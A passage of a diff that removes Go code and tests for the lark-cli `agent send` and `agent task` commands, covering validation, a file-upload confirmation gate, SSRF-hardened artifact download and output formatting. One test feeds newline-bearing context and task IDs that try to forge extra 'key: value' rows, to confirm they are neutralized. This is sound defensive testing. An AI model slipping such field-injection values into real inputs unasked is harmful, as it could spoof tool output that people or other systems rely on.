-// defaultWatchTimeout is the bounded poll window meta.next suggests for a
-// still-running task: a safe default that avoids an unbounded --watch blocking
-// forever on a long task and stops an AI caller from self-hammering. On expiry
-// the poll returns the current state (exit 0) plus a fresh watch hint, so the
-// caller re-watches in segments rather than blocking once. `--watch` used alone
-// (--timeout 0) stays unbounded for backward compatibility.
-const defaultWatchTimeout = 30 * time.Second
--- a/cmd/agent/send_test.go
+++ b/cmd/agent/send_test.go
@@ -1,451 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// sendCmdCtx builds a `lark-cli agent send` leaf command whose CommandPath() is
-// non-empty (required for content-safety scanning) and whose --as flag is
-// explicitly set to bot so ResolveAs honors it verbatim.
-func sendCmdCtx(t *testing.T) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: "send"}
-	root.AddCommand(group)
-	group.AddCommand(leaf)
-	leaf.Flags().String("as", "", "identity")
-	if err := leaf.Flags().Set("as", "bot"); err != nil {
-		t.Fatal(err)
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
-// the scripted fakeflow agent agt_x under an explicit bot identity. The
-// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
-// test — everything under test here is command-layer behavior over the
-// scripted provider.
-func sendTestOpts(t *testing.T) *sendOptions {
-	t.Helper()
-	registerScripted()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	return &sendOptions{
-		Factory: f,
-		Cmd:     sendCmdCtx(t),
-		Ref:     "fakeflow:agt_x",
-		As:      "bot",
-	}
-}
-
-// TestSendRequiresText pins that an empty --text is a validation error
-// (subtype invalid_argument) raised before any provider is built.
-func TestSendRequiresText(t *testing.T) {
-	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
-	if err == nil {
-		t.Fatal("missing --text should raise a validation error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// hint contract: a missing --text must carry a copy-pasteable remediation
-	// hint, and the param uses the -- prefix.
-	if !strings.Contains(p.Hint, "--text") {
-		t.Errorf("hint should guide adding --text, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--text" {
-		t.Errorf("param should be --text, got %+v", verr)
-	}
-}
-
-// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
-// validation error, raised before any provider is built.
-func TestSendTaskIDRequiresContextID(t *testing.T) {
-	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
-	if err == nil {
-		t.Fatal("--task-id without --context-id should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// hint contract: state the next step clearly (--task-id must be provided
-	// together with --context-id).
-	if !strings.Contains(p.Hint, "--context-id") {
-		t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--task-id" {
-		t.Errorf("param should be --task-id, got %+v", verr)
-	}
-}
-
-// workingTask is the canonical non-terminal task the scripted Send returns for
-// the happy-path tests.
-func workingTask() *iagent.AgentTask {
-	return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}
-}
-
-// TestSendPrettyFormat pins that `send --format pretty` renders the
-// resulting task as key: value lines (previously the flag was registered but
-// silently ignored).
-func TestSendPrettyFormat(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		return workingTask(), nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send --format pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
-// (key: value preview) instead of silently emitting JSON.
-func TestSendDryRunPrettyFormat(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.DryRun = true
-	opts.Format = "pretty"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
-// runs context_id/task_id through kvValue (like every other pretty face), so a
-// value carrying a newline cannot forge an adjacent "key: value" field row.
-func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.DryRun = true
-	opts.Format = "pretty"
-	opts.ContextID = "ctx1\nstate: completed"
-	opts.TaskID = "task1\ndeleted: true"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	// The raw newline must not survive into a forged adjacent row.
-	if strings.Contains(text, "context_id: ctx1\nstate: completed") {
-		t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
-	}
-	if strings.Contains(text, "task_id: task1\ndeleted: true") {
-		t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
-	}
-	// kvValue collapses the newline to a space, keeping the value on one line.
-	if !strings.Contains(text, "context_id: ctx1 state: completed") {
-		t.Errorf("context_id should collapse to one line, got:\n%s", text)
-	}
-	if !strings.Contains(text, "task_id: task1 deleted: true") {
-		t.Errorf("task_id should collapse to one line, got:\n%s", text)
-	}
-}
-
-// TestSendNoParamsRequired pins card v2: the scripted card declares no
-// parameters, so a send without any --param passes card validation — asserted
-// via --dry-run so no provider Send fires. A malformed --param is still a
-// validation error.
-func TestSendNoParamsRequired(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Params = nil
-	opts.DryRun = true
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
-	}
-
-	opts2 := sendTestOpts(t)
-	opts2.Text = "分析销售"
-	opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
-	opts2.DryRun = true
-	err := agentSendRun(opts2)
-	if err == nil {
-		t.Fatal("malformed --param should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-}
-
-// TestSendUnknownParamRejected pins, against an empty-parameters card, that
-// any --param key is unknown → invalid_argument with a hint pointing at
-// `agent card`, raised before any provider Send (asserted via --dry-run with
-// no send hook installed).
-func TestSendUnknownParamRejected(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Params = []string{"app_id=app_1"}
-	opts.DryRun = true
-	err := agentSendRun(opts)
-	if err == nil {
-		t.Fatal("card did not declare app_id, --param app_id should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestSendDryRun pins that --dry-run prints a would_send preview and never
-// calls the provider (no send hook installed → a Send would panic).
-func TestSendDryRun(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.DryRun = true
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	data, ok := env.Data.(map[string]interface{})
-	if !ok {
-		t.Fatalf("data should be an object, got %T", env.Data)
-	}
-	if data["dry_run"] != true {
-		t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
-	}
-	would, ok := data["would_send"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
-	}
-	if would["text"] != "分析销售" {
-		t.Errorf("would_send.text should echo the text, got %v", would["text"])
-	}
-}
-
-// TestSendStartsTask pins the happy path: a single Send fires and returns the
-// submitted / working task in a success envelope immediately (no polling), with
-// a meta.next hint pointing at task get --watch.
-func TestSendStartsTask(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	var gotText string
-	setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
-		gotText = in.Text
-		return workingTask(), nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send should not error: %v", err)
-	}
-	if gotText != "分析销售" {
-		t.Errorf("provider should receive the original text, got %q", gotText)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["task_id"] != "chat_1" {
-		t.Errorf("task_id should be chat_1, got %v", data["task_id"])
-	}
-	if data["state"] != string(iagent.StateWorking) {
-		t.Errorf("state should be working, got %v", data["state"])
-	}
-	// meta.next should suggest polling / continuing.
-	if !strings.Contains(string(out.Bytes()), `"next"`) {
-		t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
-	}
-}
-
-// TestSendSendError surfaces a provider Send failure unchanged.
-func TestSendSendError(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "x"
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentSendRun(opts); err == nil {
-		t.Fatal("Send error should propagate")
-	}
-}
-
-// TestSendInvalidRef surfaces a malformed ref as a validation error after the
-// text/task-id guards pass.
-func TestSendInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-}
-
-// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
-// presence of the send-specific flags.
-func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
-	cmd := NewCmdAgentSend(nil, nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
-		t.Errorf("agent send should be marked write risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("agent send missing ref should raise an args error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("agent send with a single ref should be valid: %v", err)
-	}
-	for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("agent send should have --%s flag", name)
-		}
-	}
-	if cmd.Flags().Lookup("wait") != nil {
-		t.Error("agent send --wait should be removed (polling goes through task get --watch)")
-	}
-	// The --file help must point out that files are sent off to the remote
-	// provider (file-egress requirement).
-	fileFlag := cmd.Flags().Lookup("file")
-	if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
-		t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
-	}
-}
-
-// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
-// instead of the production path (construction-time seam).
-func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
-	called := false
-	var captured *sendOptions
-	cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
-		called = true
-		captured = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
-	cmd.SetContext(context.Background())
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("execute should not error: %v", err)
-	}
-	if !called {
-		t.Fatal("runF should be called")
-	}
-	if captured.Ref != "example:agt_x" || captured.Text != "hi" {
-		t.Errorf("opts not populated correctly: %+v", captured)
-	}
-}
-
-// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
-// carrying --file to a provider that supports file upload (the scripted card has
-// file_input=true) requires --yes, so without it the command returns
-// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
-// hook is a tripwire that would panic if the gate let the upload through.
-func TestSend_FileRequiresYes(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"} // no --yes
-
-	err := agentSendRun(opts)
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
-		t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
-	}
-	if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
-		t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
-	}
-}
-
-// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
-// send reaches the provider, which receives the file path.
-func TestSend_FileWithYesProceeds(t *testing.T) {
-	opts := sendTestOpts(t)
-	sent := false
-	setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
-		sent = true
-		if len(in.Files) != 1 || in.Files[0] != "local.txt" {
-			t.Errorf("provider should receive the --file path, got %v", in.Files)
-		}
-		return &iagent.AgentTask{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: true}, nil
-	}})
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"}
-	opts.Yes = true
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send --file --yes should proceed: %v", err)
-	}
-	if !sent {
-		t.Error("provider Send should be reached after --yes")
-	}
-}
-
-// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
-// gate (dry-run never uploads), so it needs no --yes and never reaches the
-// provider (unset send hook stays a tripwire).
-func TestSend_FileDryRunNotGated(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"}
-	opts.DryRun = true // no --yes
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run --file should not be gated: %v", err)
-	}
-}
--- a/cmd/agent/task.go
+++ b/cmd/agent/task.go
@@ -1,521 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"fmt"
-	"io"
-	"net/http"
-	"sort"
-	"strings"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-	"github.com/larksuite/cli/internal/validate"
-	"github.com/larksuite/cli/internal/vfs"
-)
-
-// maxArtifactBytes caps a single downloaded artifact to guard against an
-// untrusted host streaming an unbounded body onto local disk.
-const maxArtifactBytes = 256 << 20 // 256 MiB
-
-// taskOptions holds all inputs for the `agent task get|list|cancel` leaves. A
-// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
-// are wired once; each RunE reads only the fields its verb needs.
-type taskOptions struct {
-	Factory    *cmdutil.Factory
-	Cmd        *cobra.Command
-	Ref        string
-	TaskID     string
-	ContextID  string
-	ArtifactID string
-	Output     string
-	Force      bool
-	Watch      bool
-	Timeout    time.Duration
-	As         string
-	Format     string
-}
-
-// resolveDownload is the DownloadArtifact seam: it resolves the provider
-// addressed by opts under the effective identity, runs the local scope
-// preflight, and fetches the artifact descriptor. Tests swap it to return
-// inline bytes without a Factory / network.
-var resolveDownload = func(opts *taskOptions) (*iagent.ArtifactData, error) {
-	_, spec, agentID, id, err := resolveSpec(opts.Factory, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return nil, err
-	}
-	// Capability gate before any network: a spec that does not wire
-	// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
-	if spec.DownloadArtifact == nil {
-		return nil, capabilityError(opts.Ref, "artifact download", iagent.CapArtifactDownload)
-	}
-	rt, err := runtimeFor(opts.Factory, id, agentID)
-	if err != nil {
-		return nil, err
-	}
-	if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
-		return nil, err
-	}
-	return spec.DownloadArtifact(opts.Cmd.Context(), rt, opts.TaskID, opts.ArtifactID)
-}
-
-// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
-// its bytes with a download-hardened client. Tests swap it to serve a loopback
-// httptest server (which the production SSRF guard would otherwise block).
-var artifactFetch = fetchArtifactURL
-
-// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
-// Production wraps the base client with the SSRF-hardened redirect/dial rules;
-// tests swap it to pass the (interceptable) base client through unchanged so the
-// request/status/read/limit logic can run against an httpmock transport that the
-// hardened client's transport clone would otherwise discard.
-var hardenDownloadClient = func(base *http.Client) *http.Client {
-	return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
-}
-
-// NewCmdAgentTask builds the `agent task` command group: query, list and cancel
-// tasks on a remote agent. It is a pure group with no RunE so an unknown
-// subcommand is reported rather than silently swallowed.
-func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "task",
-		Short: "Query / list / cancel a remote agent's tasks",
-		Long:  "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
-	}
-	cmd.AddCommand(NewCmdAgentTaskGet(f))
-	cmd.AddCommand(NewCmdAgentTaskList(f))
-	cmd.AddCommand(NewCmdAgentTaskCancel(f))
-	return cmd
-}
-
-// NewCmdAgentTaskGet builds `agent task get <ref> <task-id>`: fetch a single
-// task's state and artifacts. `--watch` polls until the task reaches a stop
-// condition and the terminal state drives the semantic exit code;
-// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
-// the backward-compatible default). `--artifact <id>` downloads that artifact
-// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
-// and fetched, an inline-bytes artifact is written straight to disk.
-// Risk=read.
-func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "get <agent_ref> <task-id>",
-		Short: "Query a single task's state and artifacts",
-		Long:  "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.TaskID = args[1]
-			return agentTaskGetRun(opts)
-		},
-	}
-	cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件（终态 / 需补输入 / 需补鉴权）再打印最终状态")
-	cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长，如 30s；0=无界（阻塞到终态）；到点未终止则返回当前状态+续 watch 命令")
-	cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id（须配合 -o 指定落盘路径），不打印任务详情")
-	cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径（仅 --artifact 时使用）")
-	cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件（默认拒绝覆盖，防止误毁本地文件）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentTaskList builds `agent task list <ref>`: enumerate the agent's
-// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
-// meta.count. Risk=read.
-func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list <agent_ref>",
-		Short: "List a remote agent's tasks",
-		Long:  "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentTaskListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentTaskCancel builds `agent task cancel <ref> <task-id>`: cancel
-// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
-// an agent that does not support it (task_cancel=false, e.g. example:echo) the
-// command returns unsupported_capability without contacting the API.
-// Risk=write.
-func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "cancel <agent_ref> <task-id>",
-		Short: "Cancel (interrupt) a remote agent's task",
-		Long:  "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.TaskID = args[1]
-			return agentTaskCancelRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
-	return cmd
-}
-
-// addAsFlag registers the identity flag: the real API-identity flag when a
-// Factory is present, or a bare --as for construction-time unit tests (f nil).
-func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
-		return
-	}
-	cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
-}
-
-// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
-// -o) runs first so it never touches the network and holds under a nil Factory.
-// With `--artifact` it downloads the named artifact to -o; otherwise it
-// fetches the task, optionally polling it to a stop condition under --watch, and
-// emits the task with the terminal state driving the semantic exit code.
-func agentTaskGetRun(opts *taskOptions) error {
-	if opts.ArtifactID != "" {
-		if opts.Output == "" {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"--artifact 需配合 -o/--output 指定落盘路径").
-				WithParam("--output").
-				WithHint("补充 -o <落盘路径> 后重发")
-		}
-		return downloadArtifact(opts)
-	}
-
-	// --timeout only bounds the --watch poll; without --watch it is meaningless.
-	// Guard it client-side (mirrors the send --task-id/--context-id combo check)
-	// so it never touches the network and holds under a nil Factory.
-	if opts.Timeout > 0 && !opts.Watch {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"--timeout 需与 --watch 一起使用").
-			WithParam("--timeout").
-			WithHint("--timeout 需与 --watch 一起使用")
-	}
-
-	f := opts.Factory
-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-
-	ctx := opts.Cmd.Context()
-	task, err := spec.GetTask(ctx, rt, opts.TaskID)
-	if err != nil {
-		return err
-	}
-	// A provider that decodes an empty "data" via Call[*AgentTask] legitimately
-	// returns (nil, nil) (see internal/agent decodeData). Surface that as a typed
-	// error rather than dereferencing task.State below (the --watch branch would
-	// otherwise panic; the sibling consumers all nil-guard).
-	if task == nil {
-		return errs.NewInternalError(errs.SubtypeInvalidResponse,
-			"provider 未返回任务数据（响应无 data）")
-	}
-
-	if opts.Watch && !task.State.ShouldStopPolling() {
-		// A positive --timeout bounds the poll: pollToStop returns the most recent
-		// task with a nil error when the deadline fires (a timeout is an
-		// observation-window close, not a failure), so a long task degrades to
-		// "current state + a fresh watch hint" instead of blocking forever. 0 =
-		// unbounded (the backward-compatible default). pollToStop is unchanged.
-		pollCtx := ctx
-		if opts.Timeout > 0 {
-			var cancel context.CancelFunc
-			pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
-			defer cancel()
-		}
-		final, perr := pollToStop(pollCtx, func(c context.Context, tid string) (*iagent.AgentTask, error) {
-			return spec.GetTask(c, rt, tid)
-		}, opts.TaskID)
-		if perr != nil {
-			return perr
-		}
-		if final != nil {
-			task = final
-		}
-	}
-
-	// Derive IsTerminal from State (single source of truth) before any consumer
-	// — emitTask's output and semanticExitError below both read the flag.
-	normalizeTask(task)
-	if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format); err != nil {
-		return err
-	}
-	// Under --watch a non-successful terminal state signals exit 1; a
-	// plain get (or a non-terminal stop) is exit 0.
-	if opts.Watch {
-		return semanticExitError(task)
-	}
-	return nil
-}
-
-// agentTaskListRun runs `task list`: resolves the provider, lists tasks
-// (optionally filtered by --context-id), sorts them newest-first by UpdatedAt,
-// and emits {tasks:[...]} with meta.count through content-safety scanning (the
-// summaries carry untrusted agent text).
-func agentTaskListRun(opts *taskOptions) error {
-	f := opts.Factory
-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate BEFORE building the client: a spec that does not wire
-	// ListTasks (card task_list=false) returns unsupported_capability offline.
-	if spec.ListTasks == nil {
-		return capabilityError(opts.Ref, "task list", iagent.CapTaskList)
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	tasks, err := spec.ListTasks(opts.Cmd.Context(), rt, opts.ContextID)
-	if err != nil {
-		return err
-	}
-	tasks = normalizeTaskSummaries(tasks)
-	// Newest-first: sort by UpdatedAt (RFC3339 UTC) descending so the most
-	// recently active task heads the list; a stable sort preserves the provider's
-	// relative order for equal timestamps, and tasks with no timestamp sort last.
-	sort.SliceStable(tasks, func(i, j int) bool { return tasks[i].UpdatedAt > tasks[j].UpdatedAt })
-	if tasks == nil {
-		tasks = []iagent.TaskSummary{} // always emit [] not null (matches the Card.Parameters array convention)
-	}
-	return scanAndEmitData(f, opts.Cmd, opts.Format,
-		map[string]interface{}{"tasks": tasks},
-		&output.Meta{Count: len(tasks)},
-		func(w io.Writer) { printTaskSummariesTSV(w, tasks) })
-}
-
-// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated offline
-// (right after resolveSpec, before the client is built): a spec that does not
-// wire CancelTask (card task_cancel=false, e.g. example:echo) returns
-// unsupported_capability without any API access. Only a supporting spec reaches
-// runtimeFor + CancelTask.
-func agentTaskCancelRun(opts *taskOptions) error {
-	f := opts.Factory
